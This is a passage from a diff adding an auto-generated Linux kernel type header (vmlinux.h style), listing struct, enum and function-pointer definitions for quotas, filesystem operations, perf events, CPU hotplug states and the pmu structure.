qsize_t dqb_isoftlimit; + qsize_t dqb_curinodes; + time64_t dqb_btime; + time64_t dqb_itime; +}; + +struct dquot { + struct hlist_node dq_hash; + struct list_head dq_inuse; + struct list_head dq_free; + struct list_head dq_dirty; + struct mutex dq_lock; + spinlock_t dq_dqb_lock; + atomic_t dq_count; + struct super_block *dq_sb; + struct kqid dq_id; + loff_t dq_off; + long unsigned int dq_flags; + struct mem_dqblk dq_dqb; +}; + +struct quota_format_type { + int qf_fmt_id; + const struct quota_format_ops *qf_ops; + struct module *qf_owner; + struct quota_format_type *qf_next; +}; + +struct dqstats { + long unsigned int stat[8]; + struct percpu_counter counter[8]; +}; + +struct quota_format_ops { + int (*check_quota_file)(struct super_block *, int); + int (*read_file_info)(struct super_block *, int); + int (*write_file_info)(struct super_block *, int); + int (*free_file_info)(struct super_block *, int); + int (*read_dqblk)(struct dquot *); + int (*commit_dqblk)(struct dquot *); + int (*release_dqblk)(struct dquot *); + int (*get_next_id)(struct super_block *, struct kqid *); +}; + +struct dquot_operations { + int (*write_dquot)(struct dquot *); + struct dquot * (*alloc_dquot)(struct super_block *, int); + void (*destroy_dquot)(struct dquot *); + int (*acquire_dquot)(struct dquot *); + int (*release_dquot)(struct dquot *); + int (*mark_dirty)(struct dquot *); + int (*write_info)(struct super_block *, int); + qsize_t * (*get_reserved_space)(struct inode *); + int (*get_projid)(struct inode *, kprojid_t *); + int (*get_inode_usage)(struct inode *, qsize_t *); + int (*get_next_id)(struct super_block *, struct kqid *); +}; + +struct qc_dqblk { + int d_fieldmask; + u64 d_spc_hardlimit; + u64 d_spc_softlimit; + u64 d_ino_hardlimit; + u64 d_ino_softlimit; + u64 d_space; + u64 d_ino_count; + s64 d_ino_timer; + s64 d_spc_timer; + int d_ino_warns; + int d_spc_warns; + u64 d_rt_spc_hardlimit; + u64 d_rt_spc_softlimit; + u64 d_rt_space; + s64 d_rt_spc_timer; + int d_rt_spc_warns; +}; + +struct qc_type_state { + unsigned int flags; + unsigned int spc_timelimit; + unsigned int ino_timelimit; + unsigned int rt_spc_timelimit; + unsigned int spc_warnlimit; + unsigned int ino_warnlimit; + unsigned int rt_spc_warnlimit; + long long unsigned int ino; + blkcnt_t blocks; + blkcnt_t nextents; +}; + +struct qc_state { + unsigned int s_incoredqs; + struct qc_type_state s_state[3]; +}; + +struct qc_info { + int i_fieldmask; + unsigned int i_flags; + unsigned int i_spc_timelimit; + unsigned int i_ino_timelimit; + unsigned int i_rt_spc_timelimit; + unsigned int i_spc_warnlimit; + unsigned int i_ino_warnlimit; + unsigned int i_rt_spc_warnlimit; +}; + +struct quotactl_ops { + int (*quota_on)(struct super_block *, int, int, const struct path *); + int (*quota_off)(struct super_block *, int); + int (*quota_enable)(struct super_block *, unsigned int); + int (*quota_disable)(struct super_block *, unsigned int); + int (*quota_sync)(struct super_block *, int); + int (*set_info)(struct super_block *, int, struct qc_info *); + int (*get_dqblk)(struct super_block *, struct kqid, struct qc_dqblk *); + int (*get_nextdqblk)(struct super_block *, struct kqid *, struct qc_dqblk *); + int (*set_dqblk)(struct super_block *, struct kqid, struct qc_dqblk *); + int (*get_state)(struct super_block *, struct qc_state *); + int (*rm_xquota)(struct super_block *, unsigned int); +}; + +struct writeback_control; + +struct readahead_control; + +struct swap_info_struct; + +struct address_space_operations { + int (*writepage)(struct page *, struct writeback_control *); + int (*read_folio)(struct file *, struct folio *); + int (*writepages)(struct address_space *, struct writeback_control *); + bool (*dirty_folio)(struct address_space *, struct folio *); + void (*readahead)(struct readahead_control *); + int (*write_begin)(struct file *, struct address_space *, loff_t, unsigned int, struct page **, void **); + int (*write_end)(struct file *, struct address_space *, loff_t, unsigned int, unsigned int, struct page *, void *); + sector_t (*bmap)(struct address_space *, sector_t); + void (*invalidate_folio)(struct folio *, size_t, size_t); + bool (*release_folio)(struct folio *, gfp_t); + void (*free_folio)(struct folio *); + ssize_t (*direct_IO)(struct kiocb *, struct iov_iter *); + int (*migrate_folio)(struct address_space *, struct folio *, struct folio *, enum migrate_mode); + int (*launder_folio)(struct folio *); + bool (*is_partially_uptodate)(struct folio *, size_t, size_t); + void (*is_dirty_writeback)(struct folio *, bool *, bool *); + int (*error_remove_page)(struct address_space *, struct page *); + int (*swap_activate)(struct swap_info_struct *, struct file *, sector_t *); + void (*swap_deactivate)(struct file *); + int (*swap_rw)(struct kiocb *, struct iov_iter *); +}; + +struct fiemap_extent_info; + +struct fileattr; + +struct inode_operations { + struct dentry * (*lookup)(struct inode *, struct dentry *, unsigned int); + const char * (*get_link)(struct dentry *, struct inode *, struct delayed_call *); + int (*permission)(struct mnt_idmap *, struct inode *, int); + struct posix_acl * (*get_inode_acl)(struct inode *, int, bool); + int (*readlink)(struct dentry *, char *, int); + int (*create)(struct mnt_idmap *, struct inode *, struct dentry *, umode_t, bool); + int (*link)(struct dentry *, struct inode *, struct dentry *); + int (*unlink)(struct inode *, struct dentry *); + int (*symlink)(struct mnt_idmap *, struct inode *, struct dentry *, const char *); + int (*mkdir)(struct mnt_idmap *, struct inode *, struct dentry *, umode_t); + int (*rmdir)(struct inode *, struct dentry *); + int (*mknod)(struct mnt_idmap *, struct inode *, struct dentry *, umode_t, dev_t); + int (*rename)(struct mnt_idmap *, struct inode *, struct dentry *, struct inode *, struct dentry *, unsigned int); + int (*setattr)(struct mnt_idmap *, struct dentry *, struct iattr *); + int (*getattr)(struct mnt_idmap *, const struct path *, struct kstat *, u32, unsigned int); + ssize_t (*listxattr)(struct dentry *, char *, size_t); + int (*fiemap)(struct inode *, struct fiemap_extent_info *, u64, u64); + int (*update_time)(struct inode *, struct timespec64 *, int); + int (*atomic_open)(struct inode *, struct dentry *, struct file *, unsigned int, umode_t); + int (*tmpfile)(struct mnt_idmap *, struct inode *, struct file *, umode_t); + struct posix_acl * (*get_acl)(struct mnt_idmap *, struct dentry *, int); + int (*set_acl)(struct mnt_idmap *, struct dentry *, struct posix_acl *, int); + int (*fileattr_set)(struct mnt_idmap *, struct dentry *, struct fileattr *); + int (*fileattr_get)(struct dentry *, struct fileattr *); +}; + +struct fasync_struct { + rwlock_t fa_lock; + int magic; + int fa_fd; + struct fasync_struct *fa_next; + struct file *fa_file; + struct callback_head fa_rcu; +}; + +struct kstatfs; + +struct super_operations { + struct inode * (*alloc_inode)(struct super_block *); + void (*destroy_inode)(struct inode *); + void (*free_inode)(struct inode *); + void (*dirty_inode)(struct inode *, int); + int (*write_inode)(struct inode *, struct writeback_control *); + int (*drop_inode)(struct inode *); + void (*evict_inode)(struct inode *); + void (*put_super)(struct super_block *); + int (*sync_fs)(struct super_block *, int); + int (*freeze_super)(struct super_block *); + int (*freeze_fs)(struct super_block *); + int (*thaw_super)(struct super_block *); + int (*unfreeze_fs)(struct super_block *); + int (*statfs)(struct dentry *, struct kstatfs *); + int (*remount_fs)(struct super_block *, int *, char *); + void (*umount_begin)(struct super_block *); + int (*show_options)(struct seq_file *, struct dentry *); + int (*show_devname)(struct seq_file *, struct dentry *); + int (*show_path)(struct seq_file *, struct dentry *); + int (*show_stats)(struct seq_file *, struct dentry *); + long int (*nr_cached_objects)(struct super_block *, struct shrink_control *); + long int (*free_cached_objects)(struct super_block *, struct shrink_control *); +}; + +struct iomap; + +struct fid; + +struct export_operations { + int (*encode_fh)(struct inode *, __u32 *, int *, struct inode *); + struct dentry * (*fh_to_dentry)(struct super_block *, struct fid *, int, int); + struct dentry * (*fh_to_parent)(struct super_block *, struct fid *, int, int); + int (*get_name)(struct dentry *, char *, struct dentry *); + struct dentry * (*get_parent)(struct dentry *); + int (*commit_metadata)(struct inode *); + int (*get_uuid)(struct super_block *, u8 *, u32 *, u64 *); + int (*map_blocks)(struct inode *, loff_t, u64, struct iomap *, bool, u32 *); + int (*commit_blocks)(struct inode *, struct iomap *, int, struct iattr *); + long unsigned int flags; +}; + +struct xattr_handler { + const char *name; + const char *prefix; + int flags; + bool (*list)(struct dentry *); + int (*get)(const struct xattr_handler *, struct dentry *, struct inode *, const char *, void *, size_t); + int (*set)(const struct xattr_handler *, struct mnt_idmap *, struct dentry *, struct inode *, const char *, const void *, size_t, int); +}; + +typedef bool (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned int); + +struct dir_context { + filldir_t actor; + loff_t pos; +}; + +struct p_log; + +struct fs_parameter; + +struct fs_parse_result; + +typedef int fs_param_type(struct p_log *, const struct fs_parameter_spec *, struct fs_parameter *, struct fs_parse_result *); + +struct fs_parameter_spec { + const char *name; + fs_param_type *type; + u8 opt; + short unsigned int flags; + const void *data; +}; + +typedef void compound_page_dtor(struct page *); + +struct vm_event_state { + long unsigned int event[110]; +}; + +struct acpi_device; + +struct pci_sysdata { + int domain; + int node; + struct acpi_device *companion; + void *iommu; + void *fwnode; +}; + +enum perf_hw_cache_id { + PERF_COUNT_HW_CACHE_L1D = 0, + PERF_COUNT_HW_CACHE_L1I = 1, + PERF_COUNT_HW_CACHE_LL = 2, + PERF_COUNT_HW_CACHE_DTLB = 3, + PERF_COUNT_HW_CACHE_ITLB = 4, + PERF_COUNT_HW_CACHE_BPU = 5, + PERF_COUNT_HW_CACHE_NODE = 6, + PERF_COUNT_HW_CACHE_MAX = 7, +}; + +enum perf_hw_cache_op_id { + PERF_COUNT_HW_CACHE_OP_READ = 0, + PERF_COUNT_HW_CACHE_OP_WRITE = 1, + PERF_COUNT_HW_CACHE_OP_PREFETCH = 2, + PERF_COUNT_HW_CACHE_OP_MAX = 3, +}; + +enum perf_hw_cache_op_result_id { + PERF_COUNT_HW_CACHE_RESULT_ACCESS = 0, + PERF_COUNT_HW_CACHE_RESULT_MISS = 1, + PERF_COUNT_HW_CACHE_RESULT_MAX = 2, +}; + +enum perf_sw_ids { + PERF_COUNT_SW_CPU_CLOCK = 0, + PERF_COUNT_SW_TASK_CLOCK = 1, + PERF_COUNT_SW_PAGE_FAULTS = 2, + PERF_COUNT_SW_CONTEXT_SWITCHES = 3, + PERF_COUNT_SW_CPU_MIGRATIONS = 4, + PERF_COUNT_SW_PAGE_FAULTS_MIN = 5, + PERF_COUNT_SW_PAGE_FAULTS_MAJ = 6, + PERF_COUNT_SW_ALIGNMENT_FAULTS = 7, + PERF_COUNT_SW_EMULATION_FAULTS = 8, + PERF_COUNT_SW_DUMMY = 9, + PERF_COUNT_SW_BPF_OUTPUT = 10, + PERF_COUNT_SW_CGROUP_SWITCHES = 11, + PERF_COUNT_SW_MAX = 12, +}; + +union perf_mem_data_src { + __u64 val; + struct { + __u64 mem_op: 5; + __u64 mem_lvl: 14; + __u64 mem_snoop: 5; + __u64 mem_lock: 2; + __u64 mem_dtlb: 7; + __u64 mem_lvl_num: 4; + __u64 mem_remote: 1; + __u64 mem_snoopx: 2; + __u64 mem_blk: 3; + __u64 mem_hops: 3; + __u64 mem_rsvd: 18; + }; +}; + +struct perf_branch_entry { + __u64 from; + __u64 to; + __u64 mispred: 1; + __u64 predicted: 1; + __u64 in_tx: 1; + __u64 abort: 1; + __u64 cycles: 16; + __u64 type: 4; + __u64 spec: 2; + __u64 new_type: 4; + __u64 priv: 3; + __u64 reserved: 31; +}; + +union perf_sample_weight { + __u64 full; + struct { + __u32 var1_dw; + __u16 var2_w; + __u16 var3_w; + }; +}; + +struct cgroup_namespace { + struct ns_common ns; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct css_set *root_cset; +}; + +struct nsset; + +struct proc_ns_operations { + const char *name; + const char *real_ns_name; + int type; + struct ns_common * (*get)(struct task_struct *); + void (*put)(struct ns_common *); + int (*install)(struct nsset *, struct ns_common *); + struct user_namespace * (*owner)(struct ns_common *); + struct ns_common * (*get_parent)(struct ns_common *); +}; + +struct node { + struct device dev; + struct list_head access_list; +}; + +enum cpuhp_state { + CPUHP_INVALID = -1, + CPUHP_OFFLINE = 0, + CPUHP_CREATE_THREADS = 1, + CPUHP_PERF_PREPARE = 2, + CPUHP_PERF_X86_PREPARE = 3, + CPUHP_PERF_X86_AMD_UNCORE_PREP = 4, + CPUHP_PERF_POWER = 5, + CPUHP_PERF_SUPERH = 6, + CPUHP_X86_HPET_DEAD = 7, + CPUHP_X86_APB_DEAD = 8, + CPUHP_X86_MCE_DEAD = 9, + CPUHP_VIRT_NET_DEAD = 10, + CPUHP_IBMVNIC_DEAD = 11, + CPUHP_SLUB_DEAD = 12, + CPUHP_DEBUG_OBJ_DEAD = 13, + CPUHP_MM_WRITEBACK_DEAD = 14, + CPUHP_MM_DEMOTION_DEAD = 15, + CPUHP_MM_VMSTAT_DEAD = 16, + CPUHP_SOFTIRQ_DEAD = 17, + CPUHP_NET_MVNETA_DEAD = 18, + CPUHP_CPUIDLE_DEAD = 19, + CPUHP_ARM64_FPSIMD_DEAD = 20, + CPUHP_ARM_OMAP_WAKE_DEAD = 21, + CPUHP_IRQ_POLL_DEAD = 22, + CPUHP_BLOCK_SOFTIRQ_DEAD = 23, + CPUHP_BIO_DEAD = 24, + CPUHP_ACPI_CPUDRV_DEAD = 25, + CPUHP_S390_PFAULT_DEAD = 26, + CPUHP_BLK_MQ_DEAD = 27, + CPUHP_FS_BUFF_DEAD = 28, + CPUHP_PRINTK_DEAD = 29, + CPUHP_MM_MEMCQ_DEAD = 30, + CPUHP_XFS_DEAD = 31, + CPUHP_PERCPU_CNT_DEAD = 32, + CPUHP_RADIX_DEAD = 33, + CPUHP_PAGE_ALLOC = 34, + CPUHP_NET_DEV_DEAD = 35, + CPUHP_PCI_XGENE_DEAD = 36, + CPUHP_IOMMU_IOVA_DEAD = 37, + CPUHP_LUSTRE_CFS_DEAD = 38, + CPUHP_AP_ARM_CACHE_B15_RAC_DEAD = 39, + CPUHP_PADATA_DEAD = 40, + CPUHP_AP_DTPM_CPU_DEAD = 41, + CPUHP_RANDOM_PREPARE = 42, + CPUHP_WORKQUEUE_PREP = 43, + CPUHP_POWER_NUMA_PREPARE = 44, + CPUHP_HRTIMERS_PREPARE = 45, + CPUHP_PROFILE_PREPARE = 46, + CPUHP_X2APIC_PREPARE = 47, + CPUHP_SMPCFD_PREPARE = 48, + CPUHP_RELAY_PREPARE = 49, + CPUHP_SLAB_PREPARE = 50, + CPUHP_MD_RAID5_PREPARE = 51, + CPUHP_RCUTREE_PREP = 52, + CPUHP_CPUIDLE_COUPLED_PREPARE = 53, + CPUHP_POWERPC_PMAC_PREPARE = 54, + CPUHP_POWERPC_MMU_CTX_PREPARE = 55, + CPUHP_XEN_PREPARE = 56, + CPUHP_XEN_EVTCHN_PREPARE = 57, + CPUHP_ARM_SHMOBILE_SCU_PREPARE = 58, + CPUHP_SH_SH3X_PREPARE = 59, + CPUHP_NET_FLOW_PREPARE = 60, + CPUHP_TOPOLOGY_PREPARE = 61, + CPUHP_NET_IUCV_PREPARE = 62, + CPUHP_ARM_BL_PREPARE = 63, + CPUHP_TRACE_RB_PREPARE = 64, + CPUHP_MM_ZS_PREPARE = 65, + CPUHP_MM_ZSWP_MEM_PREPARE = 66, + CPUHP_MM_ZSWP_POOL_PREPARE = 67, + CPUHP_KVM_PPC_BOOK3S_PREPARE = 68, + CPUHP_ZCOMP_PREPARE = 69, + CPUHP_TIMERS_PREPARE = 70, + CPUHP_MIPS_SOC_PREPARE = 71, + CPUHP_BP_PREPARE_DYN = 72, + CPUHP_BP_PREPARE_DYN_END = 92, + CPUHP_BRINGUP_CPU = 93, + CPUHP_AP_IDLE_DEAD = 94, + CPUHP_AP_OFFLINE = 95, + CPUHP_AP_CACHECTRL_STARTING = 96, + CPUHP_AP_SCHED_STARTING = 97, + CPUHP_AP_RCUTREE_DYING = 98, + CPUHP_AP_CPU_PM_STARTING = 99, + CPUHP_AP_IRQ_GIC_STARTING = 100, + CPUHP_AP_IRQ_HIP04_STARTING = 101, + CPUHP_AP_IRQ_APPLE_AIC_STARTING = 102, + CPUHP_AP_IRQ_ARMADA_XP_STARTING = 103, + CPUHP_AP_IRQ_BCM2836_STARTING = 104, + CPUHP_AP_IRQ_MIPS_GIC_STARTING = 105, + CPUHP_AP_IRQ_RISCV_STARTING = 106, + CPUHP_AP_IRQ_LOONGARCH_STARTING = 107, + CPUHP_AP_IRQ_SIFIVE_PLIC_STARTING = 108, + CPUHP_AP_ARM_MVEBU_COHERENCY = 109, + CPUHP_AP_MICROCODE_LOADER = 110, + CPUHP_AP_PERF_X86_AMD_UNCORE_STARTING = 111, + CPUHP_AP_PERF_X86_STARTING = 112, + CPUHP_AP_PERF_X86_AMD_IBS_STARTING = 113, + CPUHP_AP_PERF_X86_CQM_STARTING = 114, + CPUHP_AP_PERF_X86_CSTATE_STARTING = 115, + CPUHP_AP_PERF_XTENSA_STARTING = 116, + CPUHP_AP_MIPS_OP_LOONGSON3_STARTING = 117, + CPUHP_AP_ARM_VFP_STARTING = 118, + CPUHP_AP_ARM64_DEBUG_MONITORS_STARTING = 119, + CPUHP_AP_PERF_ARM_HW_BREAKPOINT_STARTING = 120, + CPUHP_AP_PERF_ARM_ACPI_STARTING = 121, + CPUHP_AP_PERF_ARM_STARTING = 122, + CPUHP_AP_PERF_RISCV_STARTING = 123, + CPUHP_AP_ARM_L2X0_STARTING = 124, + CPUHP_AP_EXYNOS4_MCT_TIMER_STARTING = 125, + CPUHP_AP_ARM_ARCH_TIMER_STARTING = 126, + CPUHP_AP_ARM_GLOBAL_TIMER_STARTING = 127, + CPUHP_AP_JCORE_TIMER_STARTING = 128, + CPUHP_AP_ARM_TWD_STARTING = 129, + CPUHP_AP_QCOM_TIMER_STARTING = 130, + CPUHP_AP_TEGRA_TIMER_STARTING = 131, + CPUHP_AP_ARMADA_TIMER_STARTING = 132, + CPUHP_AP_MARCO_TIMER_STARTING = 133, + CPUHP_AP_MIPS_GIC_TIMER_STARTING = 134, + CPUHP_AP_ARC_TIMER_STARTING = 135, + CPUHP_AP_RISCV_TIMER_STARTING = 136, + CPUHP_AP_CLINT_TIMER_STARTING = 137, + CPUHP_AP_CSKY_TIMER_STARTING = 138, + CPUHP_AP_TI_GP_TIMER_STARTING = 139, + CPUHP_AP_HYPERV_TIMER_STARTING = 140, + CPUHP_AP_DUMMY_TIMER_STARTING = 141, + CPUHP_AP_ARM_XEN_STARTING = 142, + CPUHP_AP_ARM_CORESIGHT_STARTING = 143, + CPUHP_AP_ARM_CORESIGHT_CTI_STARTING = 144, + CPUHP_AP_ARM64_ISNDEP_STARTING = 145, + CPUHP_AP_SMPCFD_DYING = 146, + CPUHP_AP_X86_TBOOT_DYING = 147, + CPUHP_AP_ARM_CACHE_B15_RAC_DYING = 148, + CPUHP_AP_ONLINE = 149, + CPUHP_TEARDOWN_CPU = 150, + CPUHP_AP_ONLINE_IDLE = 151, + CPUHP_AP_KVM_ONLINE = 152, + CPUHP_AP_SCHED_WAIT_EMPTY = 153, + CPUHP_AP_SMPBOOT_THREADS = 154, + CPUHP_AP_X86_VDSO_VMA_ONLINE = 155, + CPUHP_AP_IRQ_AFFINITY_ONLINE = 156, + CPUHP_AP_BLK_MQ_ONLINE = 157, + CPUHP_AP_ARM_MVEBU_SYNC_CLOCKS = 158, + CPUHP_AP_X86_INTEL_EPB_ONLINE = 159, + CPUHP_AP_PERF_ONLINE = 160, + CPUHP_AP_PERF_X86_ONLINE = 161, + CPUHP_AP_PERF_X86_UNCORE_ONLINE = 162, + CPUHP_AP_PERF_X86_AMD_UNCORE_ONLINE = 163, + CPUHP_AP_PERF_X86_AMD_POWER_ONLINE = 164, + CPUHP_AP_PERF_X86_RAPL_ONLINE = 165, + CPUHP_AP_PERF_X86_CQM_ONLINE = 166, + CPUHP_AP_PERF_X86_CSTATE_ONLINE = 167, + CPUHP_AP_PERF_X86_IDXD_ONLINE = 168, + CPUHP_AP_PERF_S390_CF_ONLINE = 169, + CPUHP_AP_PERF_S390_SF_ONLINE = 170, + CPUHP_AP_PERF_ARM_CCI_ONLINE = 171, + CPUHP_AP_PERF_ARM_CCN_ONLINE = 172, + CPUHP_AP_PERF_ARM_HISI_CPA_ONLINE = 173, + CPUHP_AP_PERF_ARM_HISI_DDRC_ONLINE = 174, + CPUHP_AP_PERF_ARM_HISI_HHA_ONLINE = 175, + CPUHP_AP_PERF_ARM_HISI_L3_ONLINE = 176, + CPUHP_AP_PERF_ARM_HISI_PA_ONLINE = 177, + CPUHP_AP_PERF_ARM_HISI_SLLC_ONLINE = 178, + CPUHP_AP_PERF_ARM_HISI_PCIE_PMU_ONLINE = 179, + CPUHP_AP_PERF_ARM_HNS3_PMU_ONLINE = 180, + CPUHP_AP_PERF_ARM_L2X0_ONLINE = 181, + CPUHP_AP_PERF_ARM_QCOM_L2_ONLINE = 182, + CPUHP_AP_PERF_ARM_QCOM_L3_ONLINE = 183, + CPUHP_AP_PERF_ARM_APM_XGENE_ONLINE = 184, + CPUHP_AP_PERF_ARM_CAVIUM_TX2_UNCORE_ONLINE = 185, + CPUHP_AP_PERF_ARM_MARVELL_CN10K_DDR_ONLINE = 186, + CPUHP_AP_PERF_POWERPC_NEST_IMC_ONLINE = 187, + CPUHP_AP_PERF_POWERPC_CORE_IMC_ONLINE = 188, + CPUHP_AP_PERF_POWERPC_THREAD_IMC_ONLINE = 189, + CPUHP_AP_PERF_POWERPC_TRACE_IMC_ONLINE = 190, + CPUHP_AP_PERF_POWERPC_HV_24x7_ONLINE = 191, + CPUHP_AP_PERF_POWERPC_HV_GPCI_ONLINE = 192, + CPUHP_AP_PERF_CSKY_ONLINE = 193, + CPUHP_AP_WATCHDOG_ONLINE = 194, + CPUHP_AP_WORKQUEUE_ONLINE = 195, + CPUHP_AP_RANDOM_ONLINE = 196, + CPUHP_AP_RCUTREE_ONLINE = 197, + CPUHP_AP_BASE_CACHEINFO_ONLINE = 198, + CPUHP_AP_ONLINE_DYN = 199, + CPUHP_AP_ONLINE_DYN_END = 229, + CPUHP_AP_MM_DEMOTION_ONLINE = 230, + CPUHP_AP_X86_HPET_ONLINE = 231, + CPUHP_AP_X86_KVM_CLK_ONLINE = 232, + CPUHP_AP_ACTIVE = 233, + CPUHP_ONLINE = 234, +}; + +enum cpuhp_smt_control { + CPU_SMT_ENABLED = 0, + CPU_SMT_DISABLED = 1, + CPU_SMT_FORCE_DISABLED = 2, + CPU_SMT_NOT_SUPPORTED = 3, + CPU_SMT_NOT_IMPLEMENTED = 4, +}; + +struct debug_store { + u64 bts_buffer_base; + u64 bts_index; + u64 bts_absolute_maximum; + u64 bts_interrupt_threshold; + u64 pebs_buffer_base; + u64 pebs_index; + u64 pebs_absolute_maximum; + u64 pebs_interrupt_threshold; + u64 pebs_event_reset[48]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct debug_store_buffers { + char bts_buffer[65536]; + char pebs_buffer[65536]; +}; + +struct cea_exception_stacks { + char DF_stack_guard[4096]; + char DF_stack[8192]; + char NMI_stack_guard[4096]; + char NMI_stack[8192]; + char DB_stack_guard[4096]; + char DB_stack[8192]; + char MCE_stack_guard[4096]; + char MCE_stack[8192]; + char VC_stack_guard[4096]; + char VC_stack[8192]; + char VC2_stack_guard[4096]; + char VC2_stack[8192]; + char IST_top_guard[4096]; +}; + +struct cpu_entry_area { + char gdt[4096]; + struct entry_stack_page entry_stack_page; + struct tss_struct tss; + struct cea_exception_stacks estacks; + struct debug_store cpu_debug_store; + struct debug_store_buffers cpu_debug_buffers; +}; + +struct perf_guest_switch_msr { + unsigned int msr; + u64 host; + u64 guest; +}; + +struct perf_cpu_pmu_context; + +struct perf_output_handle; + +struct pmu { + struct list_head entry; + struct module *module; + struct device *dev; + const struct attribute_group **attr_groups; + const struct attribute_group **attr_update; + const char *name; + int type; + int capabilities; + int *pmu_disable_count; + struct perf_cpu_pmu_context *cpu_pmu_context; + atomic_t exclusive_cnt; + int task_ctx_nr; + int hrtimer_interval_ms; + unsigned int nr_addr_filters; + void (*pmu_enable)(struct pmu *); + void (*pmu_disable)(struct pmu *); + int (*event_init)(struct perf_event *); + void (*event_mapped)(struct perf_event *, struct mm_struct *); + void (*event_unmapped)(struct perf_event *, struct mm_struct *); + int (*add)(struct perf_event *, int); + void (*del)(struct perf_event *, int); + void (*start)(struct perf_event *, int); + void (*stop)(struct perf_event *, int); + void (*read)(struct perf_event *); + void (*start_txn)(struct pmu *, unsigned int); + int (*commit_txn)(struct pmu *); + void (*cancel_txn)(struct pmu *); + int (*event_idx)(struct perf_event *); + void (*sched_task)(struct perf_event_pmu_context *, bool); + struct kmem_cache 